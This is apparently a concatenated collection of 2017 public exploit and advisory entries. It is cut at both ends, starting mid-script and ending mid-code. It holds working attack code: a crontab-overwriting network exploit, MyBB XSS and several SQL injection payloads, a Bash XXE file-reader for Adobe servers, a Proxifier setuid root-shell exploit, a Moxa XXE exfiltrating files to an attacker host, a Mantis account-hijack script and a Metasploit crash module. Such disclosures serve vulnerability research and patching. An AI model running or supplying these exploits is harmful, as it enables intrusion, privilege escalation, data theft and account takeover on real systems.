retbuf+= chr(ord(buf[i])^some_AES_bytes[i])
return retbuf
def main():
global cipher
if len(sys.argv) < 2:
print("usage: %s <target ip> [<sport>]" % sys.argv[0])
sys.exit(-1)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) > 2:
sport = int(sys.argv[2])
else:
sport = 666
s.bind(("0.0.0.0", sport))
s.connect((sys.argv[1], 12345))
try:
s.send(create_packet(0xfa, body=b.hexlify("/etc/crontab")))
#s.send(create_packet(0x134))
print("[+] sent ACT_NEWFILESENT")
resp=s.recv(1024)
h.hexdump(resp)
action=get_action(resp)
if action == 212:
print("[+] server returned 212, this is a good sign, press Enter to continue")
else:
print("[-] server returned %d, exploit will probably fail, press CTRL-C to exit or Enter to continue" % action)
sys.stdin.readline()
print("[+] exchanging DH pars")
dh="\x00"*63+"\x02"
s.send(dh)
dh=s.recv(1024)
h.hexdump(dh)
aes_key = generate_aes_key(dh)
print("[+] got AES key below:")
h.hexdump(aes_key)
cipher=AES.new(aes_key)
print("[+] press Enter to continue")
sys.stdin.readline()
print("[+] sending:")
enc=create_enc_packet(0xfb, body=b.hexlify("* * * * * root touch /tmp/pwned\n"))
h.hexdump(enc)
s.send(enc )
enc=create_enc_packet(0xfc, body="")
h.hexdump(enc)
s.send(enc )
print("[+] got:")
resp=s.recv(1024)
h.hexdump(resp)
print("[+] trying decrypt")
h.hexdump(decrypt_packet(resp))
s.close()
except KeyboardInterrupt:
s.close()
exit(-1)
main()
Description:
============
product:MyBB
Homepage:https://mybb.com/
vulnerable version:<1.8.11
Severity:High risk
===============
Proof of Concept:
=============
1.post a thread or reply any thread ,write:
[email=2"onmouseover="alert(document.location)]hover me[/email]
then when user’s mouse hover it,XSS attack will occur!
============
Fixed:
============
This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
=============
# # # # #
# Exploit Title: Social Directory Script 2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/Social-Directory.html
# Demo: http://www.phponly.com/demo/link/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?subcategory=[SQL]
# http://localhost/[PATH]/searchtopic.php?search=[SQL]
# http://localhost/[PATH]/index.php?category=[SQL]
# phponly_link_admin:id
# phponly_link_admin:username
# phponly_link_admin:password
# # # # #
# # # # #
# Exploit Title: FAQ Script 3.1.3 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.phponly.com/
# Software: http://www.phponly.com/faq.html
# Demo: http://www.phponly.com/demo/faq/
# Version: 3.1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/home/categorySearch?category_id=[SQL]
# # # # #
=============================================
MGC ALERT 2017-003
- Original release date: April 06, 2017
- Last revised: April 10, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection
II. BACKGROUND
-------------------------
WordPress event calendar is a FREE user-friendly responsive plugin to
manage multiple recurring events and with various options.
III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:
/spider-event-calendar/calendar_functions.php: if
(isset($_POST['order_by'])) {
/spider-event-calendar/widget_Theme_functions.php: if
(isset($_POST['order_by']) && $_POST['order_by'] != '') {
And when the query is executed, the parameter "order_by" it is not
sanitized:
/spider-event-calendar/front_end/frontend_functions.php: $rows =
$wpdb->get_results($query." ".$order_by);
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code.
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.
Time Based SQL Injection POC:
POST /wordpress/wp-admin/admin.php?page=SpiderCalendar HTTP/1.1
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(2)))a)
(2 seconds of response)
search_events_by_title=&page_number=1&serch_or_not=&nonce_sp_cal=1e91ab0f6b&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3DSpiderCalendar&id_for_playlist=&asc_or_desc=1&order_by=id%2c(select*from(select(sleep(30)))a)
(30 seconds of response)
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Spider Event Calendar <= 1.5.51
VII. SOLUTION
-------------------------
Vendor release a new version.
https://downloads.wordpress.org/plugin/spider-event-calendar.1.5.52.zip
VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/spider-event-calendar/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
April 06, 2017 1: Initial release
April 10, 2017 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
April 06, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
April 06, 2017 2: Send to vendor
April 07, 2017 3: Vendor fix the vulnerability and release a new version
April 10, 2017 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
# # # # #
# Exploit Title: Classified Portal Software 5.1 - SQL Injection
# Google Dork: N/A
# Date: 11.04.2017
# Vendor Homepage: http://www.myclassifiedscript.com/
# Software: http://www.myclassifiedscript.com/demo.html
# Demo: http://www.clpage.com/
# Version: 5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=222&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=[SQL]&sub.x=46&sub.y=8&searchkey=search_record
# http://localhost/[PATH]/search-result.php?keyword=&ad_id=[SQL]&cat_level_root=4&cat_level_one=&cat_level_two=&classi_ad_type=&sub.x=46&sub.y=8&searchkey=search_record
# Etc...
# # # # #
#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.
Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().
This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------
#!/bin/bash
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18 #
#####################################################################
# by m4rkw #
#####################################################################
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a
-------------------------------------------------------------------
Source: https://www.securify.nl/advisory/SFY20170401/multiple_local_privilege_escalation_vulnerabilities_in_proxifier_for_mac.html
Abstract
Multiple local privileges escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. KLoader is responsible for loading a Kernel Extension (kext). KLoader is installed setuid root, it accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Tested versions
These issues were successfully verified on Proxifier for Mac v2.18.
Fix
Proxifier v2.19 was released that addresses these issues.
Introduction
Proxifier is a program that allows network applications that do not support proxy servers to operate through a SOCKS or HTTPS proxy or a chain of proxy servers. Multiple privilege escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. These vulnerabilities allow a local user to gain elevated privileges (root).
KLoader is responsible for loading the ProxifierS.kext Kernel Extension (kext). Loading kext files requires root privileges. Because of this the setuid bit is set on this binary when Proxifier is started for the first time. KLoader accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
Unsanitized PATH environment variable
The KLoader binary executes a number of system commands. The commands are executed from a relative path. The PATH environment variable is not sanitized before these commands are run. The PATH variable is changed by KLoader, but all that happens is that a hardcoded path is appended to current value of PATH. Due to this, it is possible for a local attacker to set an arbitrary PATH variable such that the attacker's folder is search first. Commands that are started from a relative path - and thus allow for privileges escalation - include:
- cp
- mkdir
- tar
- kextstat
- kextload
Proof of concept
cd /tmp
export PATH=.:$PATH
echo -e "#/bin/bash\nid" > cp
chmod +x cp
/Applications/Proxifier.app/Contents/KLoader lpe
Command injection in KLoader
The command line arguments that are passed to Kloader are not validated and/or sanitized. These arguments are used as-is when construction system commands. This allows an local attacker to cause Kloader to execute arbitrary commands with root privileges.
Proof of concept
$ /Applications/Proxifier.app/Contents/KLoader ';id #'
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),[...]
Loading of arbitrary kext files
The main purpose of KLoader is to load ProxifierS.kext. The first command line argument is the path to the kext file, which normally is /Applications/Proxifier.app/Contents/ProxifierS.kext/. However since the first argument can be fully controlled by an attacker it is actually possible for a local unprivileged user to load any arbitrary kext file. The proof of concept below tries to OSXPMem Kernel Extension from the Rekall Forensic Framework.
Proof of concept
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
unzip osxpmem-2.1.post4.zip
cd osxpmem.app/MacPmem.kext/
tar cvzf lpe.tar.gz Contents/
/Applications/Proxifier.app/Contents/KLoader lpe.tar.gz
kextstat -l -b com.google.MacPmem
[+] Credits: John Page AKA HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOXA-MX-AOPC-SERVER-v1.5-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec
Vendor:
============
www.moxa.com
Product:
=======================
MX-AOPC UA SERVER - 1.5
Moxa's MX-AOPC UA Suite is the first OPC UA server for industrial automation supporting both push and pull communication.
Vulnerability Type:
==============================
XML External Entity Injection
CVE Reference:
==============
CVE-2017-7457
Security Issue:
================
XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.
Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service
a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
python -m SimpleHTTPServer 8080
"Evil.AOP" file
<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
b) Evil "payload.dtd" file host on ATTACKER SERVER
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;
e.g.
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
==========================================================
Vendor Notification: March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec
Vendor:
================
www.mantisbt.org
Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
Vulnerability Type:
===============================
Pre-Auth Remote Password Reset
CVE Reference:
==============
CVE-2017-7615
Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.
Vulnerable code:
In verify.php line 66:
if( $f_confirm_hash != $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.
e.g.
http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=
This will then allow you to change passwords and hijack ANY mantisbt accounts.
All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.
References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509
POC Video URL:
==============
https://vimeo.com/213144905
Exploit/POC:
=============
import cookielib,urllib,urllib2,time
print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'
IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")
TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='
values={}
account_update_token=''
#verify_user_id='1' #Admin = 1
#realname='administrator' #Must be known or guessed.
#REQUEST 1, get Mantis account_update_token
cookies = cookielib.CookieJar()
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
res = opener.open(TARGET)
arr=res.readlines()
for s in arr:
if 'account_update_token' in s:
break
#print s[61:-38]
ACCT_TOKEN=s[61:-38]
time.sleep(0.3)
#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
'account_update_token' : ACCT_TOKEN,
'realname' : realname,
'password' : passwd,
'password_confirm' : passwd}
data = urllib.urlencode(values)
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()
#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)
Network Access:
===============
Remote
Severity:
=========
Critical
Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim] vulnbug@gmail.com
# E-Mail: vulnbug <at> gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4]
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j
#now fake ftp server is ready
#try to connect to this fake ftp server with winscp client and it will crush
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::TcpServer
def initialize()
super(
'Name' => 'WinSCP CRUSHER',
'Description' => %q{
This module will Crush WinSCP FTP client
},
'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.google.com' ],
]
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
], self.class)
end
def support_ipv6?
false
end
def setup
super
@state = {}
end
def run
@fuzzsize=datastore['STARTSIZE'].to_i
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}
print_status("Client connected : " + c.peerhost)
active_data_port_for_client(c, 20)
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
end
def on_client_close(c)
@state.delete(c)
end
def passive_data_port_for_client(c)
@state[c][:mode] = :passive
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
